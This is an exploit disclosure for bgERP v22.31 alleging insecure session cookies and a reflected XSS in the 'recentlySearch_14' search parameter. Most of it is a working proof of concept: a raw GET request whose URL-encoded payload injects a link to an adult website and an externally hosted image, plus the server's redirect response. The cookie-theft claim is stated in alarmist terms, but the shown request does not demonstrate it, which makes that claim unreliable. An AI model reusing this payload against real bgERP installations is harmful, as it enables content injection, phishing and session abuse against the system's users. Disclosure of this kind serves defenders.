## Title:  bgERP v22.31 (Orlovets) - Cookie Session vulnerability & Cross-Site Scripting (XSS)
## Author: nu11secur1ty
## Date: 01.31.2023
## Vendor: https://bgerp.com/Bg/Za-sistemata
## Software: https://github.com/bgerp/bgerp/releases/tag/v22.31
## Reference: https://portswigger.net/kb/issues/00500b01_cookie-manipulation-reflected-dom-based

## Description:
The bgERP system suffers from unsecured login cookies in which cookies
are stored as very sensitive login and also login session information!
The attacker can trick the already login user and can steal the
already generated cookie from the system and can do VERY DANGEROUS
things with the already stored sensitive information.
This can be very expensive for all companies which are using this
system, please be careful!
Also, this system has a vulnerable search parameter for XSS-Reflected attacks!

## STATUS: HIGH Vulnerability

[+] Exploit:

```GET
GET /Portal/Show?recentlySearch_14=%3c%61%20%68%72%65%66%3d%22%68%74%74%70%73%3a%2f%2f%70%6f%72%6e%68%75%62%2e%63%6f%6d%2f%22%20%74%61%72%67%65%74%3d%22%5f%62%6c%61%6e%6b%22%20%72%65%6c%3d%22%6e%6f%6f%70%65%6e%65%72%20%6e%6f%66%6f%6c%6c%6f%77%20%75%67%63%22%3e%0a%3c%69%6d%67%20%73%72%63%3d%22%68%74%74%70%73%3a%2f%2f%64%6c%2e%70%68%6e%63%64%6e%2e%63%6f%6d%2f%67%69%66%2f%34%31%31%36%35%37%36%31%2e%67%69%66%3f%3f%74%6f%6b%65%6e%3d%47%48%53%41%54%30%41%41%41%41%41%41%42%58%57%47%53%4b%4f%48%37%4d%42%46%4c%45%4b%46%34%4d%36%59%33%59%43%59%59%4b%41%44%54%51%26%72%73%3d%31%22%20%73%74%79%6c%65%3d%22%62%6f%72%64%65%72%3a%31%70%78%20%73%6f%6c%69%64%20%62%6c%61%63%6b%3b%6d%61%78%2d%77%69%64%74%68%3a%31%30%30%25%3b%22%20%61%6c%74%3d%22%50%68%6f%74%6f%20%6f%66%20%42%79%72%6f%6e%20%42%61%79%2c%20%6f%6e%65%20%6f%66%20%41%75%73%74%72%61%6c%69%61%27%73%20%62%65%73%74%20%62%65%61%63%68%65%73%21%22%3e%0a%3c%2f%61%3e&Cmd%5Bdefault%5D=1
HTTP/1.1
Host: 192.168.100.77:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120
Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.100.77:8080/Portal/Show
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: SID=rfn0jpm60epeabc1jcrkhgr9c3; brid=MC9tQnJQ_438f57; menuInfo=1254:l :0
Connection: close
Content-Length: 0
```

[+] Response after logout of the system:
```HTTP
HTTP/1.1 302 Found
Date: Tue, 31 Jan 2023 15:13:26 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: 0
Cache-Control: no-cache, must-revalidate
Location: /core_Users/login/?ret_url=bgerp%2FPortal%2FShow%2FrecentlySearch_14%2F%253Ca%2Bhref%253D%2522https%253A%252F%252Fpornhub.com%252F%2522%2Btarget%253D%2522_blank%2522%2Brel%253D%2522noopener%2Bnofollow%2Bugc%2522%253E%250A%253Cimg%2Bsrc%253D%2522https%253A%252F%252Fdl.phncdn.com%252Fgif%252F41165761.gif%253F%253Ftoken%253DGHSAT0AAAAAABXWGSKOH7MBFLEKF4M6Y3YCYYKADTQ%2526rs%253D1%2522%2Bstyle%253D%2522border%253A1px%2Bsolid%2Bblack%253Bmax-width%253A100%2525%253B%2522%2Balt%253D%2522Photo%2Bof%2BByron%2BBay%252C%2Bone%2Bof%2BAustralia%2527s%2Bbest%2Bbeaches%2521%2522%253E%250A%253C%252Fa%253E%2FCmd%2Cdefault%2F1%2FCmd%2Crefresh%2F1_48f6f472
Connection: close
Content-Length: 2
Content-Encoding: none
Content-Type: text/html; charset=UTF-8

OK
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/bgERP/2023/brERP-v22.31-Cookie-Session-vulnerability%2BXSS-Reflected)

## Proof and Exploit:
[href](https://streamable.com/xhffdu)

## Time spent
`01:30:00`